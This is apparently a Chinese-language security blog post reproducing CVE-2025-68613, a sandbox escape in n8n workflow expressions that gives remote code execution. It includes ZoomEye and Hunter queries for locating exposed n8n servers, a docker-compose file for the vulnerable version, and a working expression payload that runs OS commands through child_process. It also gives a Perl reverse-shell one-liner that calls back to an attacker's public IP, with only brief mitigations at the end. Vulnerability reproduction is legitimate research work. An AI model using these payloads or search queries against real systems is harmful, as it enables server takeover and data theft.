Featured image of post CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞

CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞

🔬 技术分析

漏洞原理

由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离,导致==经过身份验证==的远程攻击者可在特定条件下,通过配置恶意表达式突破沙箱限制,从而直接访问并操作 Node.js 全局对象或内置模块,最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。

搜索语法

n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i

也可搜索端口5678或图标ico,多数默认配置都是如此。

hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"


💣 漏洞复现

环境搭建

根据官方 docker-compose.yml,修改 n8n 版本为 1.71.0:

 1volumes:
 2  db_storage:
 3  n8n_storage:
 4
 5services:
 6  postgres:
 7    image: postgres:16
 8    restart: always
 9    environment:
10      - POSTGRES_USER=n8n_user
11      - POSTGRES_PASSWORD=n8n_password 
12      - POSTGRES_DB=n8n_db
13      - POSTGRES_NON_ROOT_USER=n8n_root
14      - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password 
15    volumes:
16      - db_storage:/var/lib/postgresql/data
17      - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
18    healthcheck:
19      test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
20      interval: 5s
21      timeout: 5s
22      retries: 10
23
24  n8n:
25    image: docker.n8n.io/n8nio/n8n:1.71.0
26    restart: always
27    environment:
28      - DB_TYPE=postgresdb
29      - DB_POSTGRESDB_HOST=postgres
30      - DB_POSTGRESDB_PORT=5432
31      - DB_POSTGRESDB_DATABASE=n8n_db
32      - DB_POSTGRESDB_USER=n8n_user
33      - DB_POSTGRESDB_PASSWORD=n8n_password
34    ports:
35      - 5678:5678
36    links:
37      - postgres
38    volumes:
39      - n8n_storage:/home/node/.n8n
40    depends_on:
41      postgres:
42        condition: service_healthy

利用步骤

打开页面,随便注册一个账号。这一步对应实际渗透过程中,攻击者已经通过其他途径获得登录账号。假如n8n系统本身就是弱密码,将会让风险提高。

实际登陆界面

创建一个新的 Workflow 并添加一个 Manual Trigger 节点,添加 Edit Fields(Set) 选项:

点击 Add Field,此处需要填写 name 和 valuename 处填入任意内容,在 value 处填入以下代码,切换到 Expression。点击 Test step 测试执行:

1{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

部分版本也可以直接新增exec节点

直接新建一个exec节点

想要弹回shell发现没有nc也没有python,ls /bin 发现有perl, perl也可以弹

1perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

🛡️ 防御措施

通用修补建议

临时缓解措施

  • 限制工作流创建和编辑权限,仅授予完全可信的用户。
  • 在加固的环境中部署 n8n,限制操作系统权限和网络访问,以减少潜在利用的影响。

🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2025-68613

技术分析

PoC/Exploit

n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613

Licensed under CC BY-NC-SA 4.0